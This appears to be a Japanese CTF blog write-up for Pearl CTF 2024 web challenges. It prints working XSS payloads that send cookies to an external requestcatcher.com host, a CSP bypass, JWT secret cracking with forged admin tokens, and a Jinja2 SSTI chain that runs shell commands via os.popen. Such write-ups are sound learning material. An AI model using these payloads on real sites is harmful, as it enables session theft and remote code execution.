はまやんはまやんはまやん

hamayanhamayan's blog

Pearl CTF (2024) Writeup

https://ctftime.org/event/2231

[Web] learn HTTP シリーズ

[Web] learn HTTP

I made a simple web application to teach you guys how HTTP responses work, I hope you enjoy :)

HTTP%2F1.1%20200%20OK%0D%0A%0D%0AhelloのようなHTTPレスポンスの生データをadminに見せるページ。
GET /flagの内容を持ってくることが出来ればフラグ獲得だが、admin向けに作成されているtokenでは表示ができない。
しかし、まずはtokenが取得できるか試してみる。
任意のHTTPレスポンスが書けるのでXSS発動させられる。

HTTP/1.1 200 OK
Content-Length: 109

<script>navigator.sendBeacon('https://dfjsaiej4jk3jefsksda.requestcatcher.com/test',document.cookie)</script>

こういう感じのものをURL Encode(CyberChefだとEncode all special charsにチェックが必要)して送るとrequestcatcherにcookieが送られてくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQyMzMzfQ.g78zszIQhgMCHDxO4hYS3I9eCoFWa2UH3zDPCM5RAwY

adminの持つ、トークンが得られた。 このトークンが持つpayloadは{"id": 1,"iat": 1709942333}だが、id=2のトークンでないとフラグを取得することができない。 secretが無いとダメかーと思っていたが、easyタグが付いていたのでシンプルにシークレットの総当たりを試すと成功した。

$ john jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
banana           (?)     
1g 0:00:00:00 DONE 2/3 (2024-03-09 09:10) 7.692g/s 252061p/s 252061c/s 252061C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

bananaだったらしい。{"id": 2,"iat": 1709942333}にして作り直して、以下のように送るとフラグ獲得。

GET /flag HTTP/2
Host: learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQyMzMzfQ.NUcKNox2LvUoSLgh3hT_3cXKAbIEq_8JTtp1Tgu086I

[Web] learn HTTP better

I learn from mistakes, I think this change will solve my issue.

前問と大きな違いはCSPがかかっていること。 Content-Security-Policy: default-src 'self' これも任意のレスポンスが作れるので、scriptも任意のものが作れる。

HTTP/1.1 200 OK
Content-Length: 8

alert(1)

となるようなhttps://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29を用意して、

HTTP/1.1 200 OK
Content-Length: 148

<script src="https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29"></script>

という感じで使って、https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20148%0D%0A%0D%0A%3Cscript%20src%3D%22https%3A%2F%2Fv1%2Dlearn%2Dhttp%2Ectf%2Epearlctf%2Ein%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%25208%250D%250A%250D%250Aalert%25281%2529%22%3E%3C%2Fscript%3Eを踏めばalertが飛ぶ。

HTTP/1.1 200 OK
Content-Length: 91

window.location = 'http://dfjsaiej4jk3jefsksda.requestcatcher.com/test?' + document.cookie;

HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2092%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3Bとなって、

HTTP/1.1 200 OK
Content-Length: 248

<script src="http://localhost:5001/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2091%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3B"></script>

のような感じでHTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20248%0D%0A%0D%0A%3Cscript%20src%3D%22http%3A%2F%2Flocalhost%3A5001%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%252091%250D%250A%250D%250Awindow%252Elocation%2520%253D%2520%2527http%253A%252F%252Fdfjsaiej4jk3jefsksda%252Erequestcatcher%252Ecom%252Ftest%253F%2527%2520%252B%2520document%252Ecookie%253B%22%3E%3C%2Fscript%3Eを用意して踏ませるとcookieが降ってくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTk1NjQ2fQ._h7goe3Ds2ZeV6XMCbEImWf5MbRlvr4mrftB63Yk5co

であり、john the ripperを使ってパスワードクラックを同様に試すとpasswordと分かる。 同様にid=2にして作り直して以下のように送るとフラグが得られる。

GET /flag HTTP/2
Host: v1-learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTk1NjQ2fQ.nsZklhoerc296tBSWvwiGZ3nLCxEWIETH47jg0qc1ps

[Web] learn HTTP (final) 解いてない

This time I have removed all loopholes. I can finally rest now, can't I?

[Web] I am a web-noob

Maybe noobs create the most secure web applications. Or maybe not.

ユーザー名を入力するサイトが与えられる。
色々試すとSSTIが刺さるっぽいが、入力がサニタイズされているっぽい感じに出てくる。
{% print "test" %}は使えたので、ninja2が使える。
使える文字を見て色々やると以下でRCE達成。

{% print lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr(request.args.f)() %}

をuserとして入力してGETのクエリストリングに&a=__globals__&b=__getitem__&c=os&d=popen&e=id&f=readでidコマンドが動く。
これで色々探索すると、flag.txtがあるので、${IFS}をスペースの代わりにして
&a=__globals__&b=__getitem__&c=os&d=popen&e=cat${IFS}flag.txt&f=readでフラグ獲得。

[Web] rabbithole

Welcome to the journey! Here's your reward.

ソースコード無し。You're on your own:)と言われる。
妙なCookieが渡されるが特に何もできないので/robots.txtを見るとDisallow: /w0rk_h4rdとある。
/w0rk_h4rdに行くとYou sure are hardworking, but are you privileged enough? Here is what you want: s3cr3t1v3_m3th0d
がちゃがちゃやるとGET /hardworking

HTTP/2 405 Method Not Allowed
Allow: S3CR3T1V3_M3TH0D, OPTIONS

と帰ってくるので、S3CR3T1V3_M3TH0D /hardworkingとするとYou're not privileged enough ;)と帰ってくるので、
最後にcookieのuserIDをadminにするとフラグがもらえる。
最終的に以下のリクエストでフラグがもらえる。

S3CR3T1V3_M3TH0D /hardworking HTTP/2
Host: rabbithole.ctf.pearlctf.in
Cookie: userID=admin

うーん、rabbithole。

[Web] steps to success 解けなかった

A journey only brave can travel.

wasmがバックエンドで使われている問題。

[Web] Uploader 解いてない

Yet another PHP-based uploader, and it's secure ^_^

ファイルアップロードできるPHPの問題。